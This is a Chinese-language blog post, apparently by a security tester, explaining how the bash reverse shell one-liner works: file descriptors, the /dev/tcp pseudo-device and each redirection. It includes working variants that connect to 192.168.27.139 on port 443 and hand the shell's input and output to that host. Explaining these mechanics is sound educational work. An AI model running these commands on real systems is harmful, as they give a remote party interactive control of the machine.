• Linux bash反弹shell原理引起的一点思考


        最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问题。这是一篇原理的介绍,也是给自己提的一个醒:盲目机械地工作着,没有多少思考的时间,在忙碌中已经找不到工作的本质和初心。
        Linux反弹shell的指令如下:
    bash -i >& /dev/tcp/ip/port 0>&1
    这条命令可以拆开来进行分析。
    首先,bash -i的含义就是获取一个交互性的shell,可以通过man bash命令来查看相关命令的解释。
        之后,是>&,对于这个要先了解Linux下的linux文件描述符的概念,linux shell下有三种标准的文件描述符:
    0是stdin 代表着标准输入,使用<或者<<
    1是stdout代表着标准输出,使用>或者>>
    2是stderr代表着标准错误输出,因为也是输出,所以也是>或者>>,但是为了区别std,所以使用2>或2>>。
    在默认的条件下是0。>&符号链接在一起就是把输入重定向的意思。
        对于/dev/tcp/ip/port是特殊设备文件(因为Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。 
        最后0>&1(放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符)是把前面的输入重定向给了输出。
            那么整个 bash -i >& /dev/tcp/ip/port 0>&1就是一个交互性的shell把输入内容通过socket重定向给了远端服务器的端口,远端服务器的输入又重定向给了输出,这样就是实现了一个远程交互shell。
    bash -i >/dev/tcp/192.168.27.139/443 把bash命令的结果输入到远程地址的443端口进行回显。

    bash -i < /dev/tcp/192.168.27.139/443 表示把远程192.168.27.139的443端口的输入信息作为输入

    这是远端输入后的回显内容

    把两个场景结合起来,bash -i > /dev/tcp/192.168.27.139/443 0>&1
    还可以把所有的输入输出全都给远端的服务器 bash -i > /dev/tcp/192.168.27.139/443 0>&1 2>&1
    之后所有的输入输出都会在远端。

    命令没有什么,极其普通,自己也不知用了多少次,但是真的缺少对底层原理的探索精神,又给自己上了一堂课。


  • 相关阅读:
    P1219 [USACO1.5]八皇后 Checker Challenge 深度搜索 标记 回溯
    P2036 [COCI2008-2009#2] PERKET 深度搜索 暴力
    20201122 赛事纪录
    P4447 [AHOI2018初中组]分组 贪心
    P4995 跳跳! 贪心
    P1434 [SHOI2002]滑雪 记忆化搜索,深度搜索,动态规划
    leetcode(42)接雨水
    数据结构与算法的总纲
    leetcode(84)柱状图中最大的矩形
    leetcode(45)跳跃游戏
  • 原文地址:https://www.cnblogs.com/A66666/p/0e5c470f35687efc80f3d01ded006d7c.html
Copyright © 2020-2023  润新知